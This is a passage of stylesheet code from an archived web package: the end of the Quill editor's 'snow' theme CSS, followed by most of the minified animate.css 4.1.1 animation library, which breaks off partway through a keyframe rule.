.ql-picker-label[data-label]:not([data-label=''])::before, .ql-snow .ql-picker.ql-size .ql-picker-label[data-label]:not([data-label=''])::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-label]:not([data-label=''])::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-label]:not([data-label=''])::before, .ql-snow .ql-picker.ql-size .ql-picker-item[data-label]:not([data-label=''])::before { content: attr(data-label); } .ql-snow .ql-picker.ql-header { width: 98px; } .ql-snow .ql-picker.ql-header .ql-picker-label::before, .ql-snow .ql-picker.ql-header .ql-picker-item::before { content: 'Normal'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="1"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]::before { content: 'Heading 1'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="2"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]::before { content: 'Heading 2'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="3"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]::before { content: 'Heading 3'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="4"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]::before { content: 'Heading 4'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="5"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]::before { content: 'Heading 5'; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="6"]::before, .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]::before { content: 'Heading 6'; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]::before { font-size: 2em; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]::before { font-size: 1.5em; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]::before { font-size: 1.17em; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]::before { font-size: 1em; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]::before { font-size: 0.83em; } .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]::before { font-size: 0.67em; } .ql-snow .ql-picker.ql-font { width: 108px; } .ql-snow .ql-picker.ql-font .ql-picker-label::before, .ql-snow .ql-picker.ql-font .ql-picker-item::before { content: 'Sans Serif'; } .ql-snow .ql-picker.ql-font .ql-picker-label[data-value=serif]::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-value=serif]::before { content: 'Serif'; } .ql-snow .ql-picker.ql-font .ql-picker-label[data-value=monospace]::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-value=monospace]::before { content: 'Monospace'; } .ql-snow .ql-picker.ql-font .ql-picker-item[data-value=serif]::before { font-family: Georgia, Times New Roman, serif; } .ql-snow .ql-picker.ql-font .ql-picker-item[data-value=monospace]::before { font-family: Monaco, Courier New, monospace; } .ql-snow .ql-picker.ql-size { width: 98px; } .ql-snow .ql-picker.ql-size .ql-picker-label::before, .ql-snow .ql-picker.ql-size .ql-picker-item::before { content: 'Normal'; } .ql-snow .ql-picker.ql-size .ql-picker-label[data-value=small]::before, .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=small]::before { content: 'Small'; } .ql-snow .ql-picker.ql-size .ql-picker-label[data-value=large]::before, .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=large]::before { content: 'Large'; } .ql-snow .ql-picker.ql-size .ql-picker-label[data-value=huge]::before, .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=huge]::before { content: 'Huge'; } .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=small]::before { font-size: 10px; } .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=large]::before { font-size: 18px; } .ql-snow .ql-picker.ql-size .ql-picker-item[data-value=huge]::before { font-size: 32px; } .ql-snow .ql-color-picker.ql-background .ql-picker-item { background-color: #fff; } .ql-snow .ql-color-picker.ql-color .ql-picker-item { background-color: #000; } .ql-toolbar.ql-snow { border: 1px solid #ccc; box-sizing: border-box; font-family: 'Helvetica Neue', 'Helvetica', 'Arial', sans-serif; padding: 8px; } .ql-toolbar.ql-snow .ql-formats { margin-right: 15px; } .ql-toolbar.ql-snow .ql-picker-label { border: 1px solid transparent; } .ql-toolbar.ql-snow .ql-picker-options { border: 1px solid transparent; box-shadow: rgba(0,0,0,0.2) 0 2px 8px; } .ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-label { border-color: #ccc; } .ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-options { border-color: #ccc; } .ql-toolbar.ql-snow .ql-color-picker .ql-picker-item.ql-selected, .ql-toolbar.ql-snow .ql-color-picker .ql-picker-item:hover { border-color: #000; } .ql-toolbar.ql-snow + .ql-container.ql-snow { border-top: 0px; } .ql-snow .ql-tooltip { background-color: #fff; border: 1px solid #ccc; box-shadow: 0px 0px 5px #ddd; color: #444; padding: 5px 12px; white-space: nowrap; } .ql-snow .ql-tooltip::before { content: "Visit URL:"; line-height: 26px; margin-right: 8px; } .ql-snow .ql-tooltip input[type=text] { display: none; border: 1px solid #ccc; font-size: 13px; height: 26px; margin: 0px; padding: 3px 5px; width: 170px; } .ql-snow .ql-tooltip a.ql-preview { display: inline-block; max-width: 200px; overflow-x: hidden; text-overflow: ellipsis; vertical-align: top; } .ql-snow .ql-tooltip a.ql-action::after { border-right: 1px solid #ccc; content: 'Edit'; margin-left: 16px; padding-right: 8px; } .ql-snow .ql-tooltip a.ql-remove::before { content: 'Remove'; margin-left: 8px; } .ql-snow .ql-tooltip a { line-height: 26px; } .ql-snow .ql-tooltip.ql-editing a.ql-preview, .ql-snow .ql-tooltip.ql-editing a.ql-remove { display: none; } .ql-snow .ql-tooltip.ql-editing input[type=text] { display: inline-block; } .ql-snow .ql-tooltip.ql-editing a.ql-action::after { border-right: 0px; content: 'Save'; padding-right: 0px; } .ql-snow .ql-tooltip[data-mode=link]::before { content: "Enter link:"; } .ql-snow .ql-tooltip[data-mode=formula]::before { content: "Enter formula:"; } .ql-snow .ql-tooltip[data-mode=video]::before { content: "Enter video:"; } .ql-snow a { color: #06c; } .ql-container.ql-snow { border: 1px solid #ccc; } PKZvFFcss/plugins/animate.min.cssnu[@charset "UTF-8";/*! * animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:1}.animate__animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-duration:var(--animate-duration);animation-duration:var(--animate-duration);-webkit-animation-fill-mode:both;animation-fill-mode:both}.animate__animated.animate__infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animate__animated.animate__repeat-1{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-iteration-count:var(--animate-repeat);animation-iteration-count:var(--animate-repeat)}.animate__animated.animate__repeat-2{-webkit-animation-iteration-count:2;animation-iteration-count:2;-webkit-animation-iteration-count:calc(var(--animate-repeat)*2);animation-iteration-count:calc(var(--animate-repeat)*2)}.animate__animated.animate__repeat-3{-webkit-animation-iteration-count:3;animation-iteration-count:3;-webkit-animation-iteration-count:calc(var(--animate-repeat)*3);animation-iteration-count:calc(var(--animate-repeat)*3)}.animate__animated.animate__delay-1s{-webkit-animation-delay:1s;animation-delay:1s;-webkit-animation-delay:var(--animate-delay);animation-delay:var(--animate-delay)}.animate__animated.animate__delay-2s{-webkit-animation-delay:2s;animation-delay:2s;-webkit-animation-delay:calc(var(--animate-delay)*2);animation-delay:calc(var(--animate-delay)*2)}.animate__animated.animate__delay-3s{-webkit-animation-delay:3s;animation-delay:3s;-webkit-animation-delay:calc(var(--animate-delay)*3);animation-delay:calc(var(--animate-delay)*3)}.animate__animated.animate__delay-4s{-webkit-animation-delay:4s;animation-delay:4s;-webkit-animation-delay:calc(var(--animate-delay)*4);animation-delay:calc(var(--animate-delay)*4)}.animate__animated.animate__delay-5s{-webkit-animation-delay:5s;animation-delay:5s;-webkit-animation-delay:calc(var(--animate-delay)*5);animation-delay:calc(var(--animate-delay)*5)}.animate__animated.animate__faster{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-duration:calc(var(--animate-duration)/2);animation-duration:calc(var(--animate-duration)/2)}.animate__animated.animate__fast{-webkit-animation-duration:.8s;animation-duration:.8s;-webkit-animation-duration:calc(var(--animate-duration)*0.8);animation-duration:calc(var(--animate-duration)*0.8)}.animate__animated.animate__slow{-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-duration:calc(var(--animate-duration)*2);animation-duration:calc(var(--animate-duration)*2)}.animate__animated.animate__slower{-webkit-animation-duration:3s;animation-duration:3s;-webkit-animation-duration:calc(var(--animate-duration)*3);animation-duration:calc(var(--animate-duration)*3)}@media (prefers-reduced-motion:reduce),print{.animate__animated{-webkit-animation-duration:1ms!important;animation-duration:1ms!important;-webkit-transition-duration:1ms!important;transition-duration:1ms!important;-webkit-animation-iteration-count:1!important;animation-iteration-count:1!important}.animate__animated[class*=Out]{opacity:0}}@-webkit-keyframes bounce{0%,20%,53%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translateZ(0);transform:translateZ(0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0) scaleY(1.1);transform:translate3d(0,-30px,0) scaleY(1.1)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0) scaleY(1.05);transform:translate3d(0,-15px,0) scaleY(1.05)}80%{-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translateZ(0) scaleY(.95);transform:translateZ(0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-4px,0) scaleY(1.02);transform:translate3d(0,-4px,0) scaleY(1.02)}}@keyframes bounce{0%,20%,53%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translateZ(0);transform:translateZ(0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0) scaleY(1.1);transform:translate3d(0,-30px,0) scaleY(1.1)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0) scaleY(1.05);transform:translate3d(0,-15px,0) scaleY(1.05)}80%{-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translateZ(0) scaleY(.95);transform:translateZ(0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-4px,0) scaleY(1.02);transform:translate3d(0,-4px,0) scaleY(1.02)}}.animate__bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{0%,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,50%,to{opacity:1}25%,75%{opacity:0}}.animate__flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes pulse{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}.animate__pulse{-webkit-animation-name:pulse;animation-name:pulse;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes rubberBand{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes rubberBand{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}.animate__rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shakeX{0%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shakeX{0%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.animate__shakeX{-webkit-animation-name:shakeX;animation-name:shakeX}@-webkit-keyframes shakeY{0%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}20%,40%,60%,80%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}}@keyframes shakeY{0%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}20%,40%,60%,80%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}}.animate__shakeY{-webkit-animation-name:shakeY;animation-name:shakeY}@-webkit-keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.animate__headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}.animate__swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate(-3deg);transform:scale3d(.9,.9,.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate(3deg);transform:scale3d(1.1,1.1,1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate(-3deg);transform:scale3d(1.1,1.1,1.1) rotate(-3deg)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes tada{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate(-3deg);transform:scale3d(.9,.9,.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate(3deg);transform:scale3d(1.1,1.1,1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate(-3deg);transform:scale3d(1.1,1.1,1.1) rotate(-3deg)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}.animate__tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}15%{-webkit-transform:translate3d(-25%,0,0) rotate(-5deg);transform:translate3d(-25%,0,0) rotate(-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate(3deg);transform:translate3d(20%,0,0) rotate(3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate(-3deg);transform:translate3d(-15%,0,0) rotate(-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate(2deg);transform:translate3d(10%,0,0) rotate(2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate(-1deg);transform:translate3d(-5%,0,0) rotate(-1deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes wobble{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}15%{-webkit-transform:translate3d(-25%,0,0) rotate(-5deg);transform:translate3d(-25%,0,0) rotate(-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate(3deg);transform:translate3d(20%,0,0) rotate(3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate(-3deg);transform:translate3d(-15%,0,0) rotate(-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate(2deg);transform:translate3d(10%,0,0) rotate(2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate(-1deg);transform:translate3d(-5%,0,0) rotate(-1deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{0%,11.1%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}@keyframes jello{0%,11.1%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}.animate__jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes heartBeat{0%{-webkit-transform:scale(1);transform:scale(1)}14%{-webkit-transform:scale(1.3);transform:scale(1.3)}28%{-webkit-transform:scale(1);transform:scale(1)}42%{-webkit-transform:scale(1.3);transform:scale(1.3)}70%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes heartBeat{0%{-webkit-transform:scale(1);transform:scale(1)}14%{-webkit-transform:scale(1.3);transform:scale(1.3)}28%{-webkit-transform:scale(1);transform:scale(1)}42%{-webkit-transform:scale(1.3);transform:scale(1.3)}70%{-webkit-transform:scale(1);transform:scale(1)}}.animate__heartBeat{-webkit-animation-name:heartBeat;animation-name:heartBeat;-webkit-animation-duration:1.3s;animation-duration:1.3s;-webkit-animation-duration:calc(var(--animate-duration)*1.3);animation-duration:calc(var(--animate-duration)*1.3);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes backInDown{0%{-webkit-transform:translateY(-1200px) scale(.7);transform:translateY(-1200px) scale(.7);opacity:.7}80%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes backInDown{0%{-webkit-transform:translateY(-1200px) scale(.7);transform:translateY(-1200px) scale(.7);opacity:.7}80%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}.animate__backInDown{-webkit-animation-name:backInDown;animation-name:backInDown}@-webkit-keyframes backInLeft{0%{-webkit-transform:translateX(-2000px) scale(.7);transform:translateX(-2000px) scale(.7);opacity:.7}80%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes backInLeft{0%{-webkit-transform:translateX(-2000px) scale(.7);transform:translateX(-2000px) scale(.7);opacity:.7}80%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}.animate__backInLeft{-webkit-animation-name:backInLeft;animation-name:backInLeft}@-webkit-keyframes backInRight{0%{-webkit-transform:translateX(2000px) scale(.7);transform:translateX(2000px) scale(.7);opacity:.7}80%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes backInRight{0%{-webkit-transform:translateX(2000px) scale(.7);transform:translateX(2000px) scale(.7);opacity:.7}80%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}.animate__backInRight{-webkit-animation-name:backInRight;animation-name:backInRight}@-webkit-keyframes backInUp{0%{-webkit-transform:translateY(1200px) scale(.7);transform:translateY(1200px) scale(.7);opacity:.7}80%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes backInUp{0%{-webkit-transform:translateY(1200px) scale(.7);transform:translateY(1200px) scale(.7);opacity:.7}80%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}.animate__backInUp{-webkit-animation-name:backInUp;animation-name:backInUp}@-webkit-keyframes backOutDown{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:translateY(700px) scale(.7);transform:translateY(700px) scale(.7);opacity:.7}}@keyframes backOutDown{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:translateY(700px) scale(.7);transform:translateY(700px) scale(.7);opacity:.7}}.animate__backOutDown{-webkit-animation-name:backOutDown;animation-name:backOutDown}@-webkit-keyframes backOutLeft{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:translateX(-2000px) scale(.7);transform:translateX(-2000px) scale(.7);opacity:.7}}@keyframes backOutLeft{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:translateX(-2000px) scale(.7);transform:translateX(-2000px) scale(.7);opacity:.7}}.animate__backOutLeft{-webkit-animation-name:backOutLeft;animation-name:backOutLeft}@-webkit-keyframes backOutRight{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:translateX(2000px) scale(.7);transform:translateX(2000px) scale(.7);opacity:.7}}@keyframes backOutRight{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:translateX(2000px) scale(.7);transform:translateX(2000px) scale(.7);opacity:.7}}.animate__backOutRight{-webkit-animation-name:backOutRight;animation-name:backOutRight}@-webkit-keyframes backOutUp{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:translateY(-700px) scale(.7);transform:translateY(-700px) scale(.7);opacity:.7}}@keyframes backOutUp{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}20%{-webkit-transform:translateY(0) scale(.7);transform:translateY(0) scale(.7);opacity:.7}to{-webkit-transform:translateY(-700px) scale(.7);transform:translateY(-700px) scale(.7);opacity:.7}}.animate__backOutUp{-webkit-animation-name:backOutUp;animation-name:backOutUp}@-webkit-keyframes bounceIn{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes bounceIn{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}.animate__bounceIn{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-duration:calc(var(--animate-duration)*0.75);animation-duration:calc(var(--animate-duration)*0.75);-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0) scaleY(3);transform:translate3d(0,-3000px,0) scaleY(3)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0) scaleY(.9);transform:translate3d(0,25px,0) scaleY(.9)}75%{-webkit-transform:translate3d(0,-10px,0) scaleY(.95);transform:translate3d(0,-10px,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,5px,0) scaleY(.985);transform:translate3d(0,5px,0) scaleY(.985)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0) scaleY(3);transform:translate3d(0,-3000px,0) scaleY(3)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0) scaleY(.9);transform:translate3d(0,25px,0) 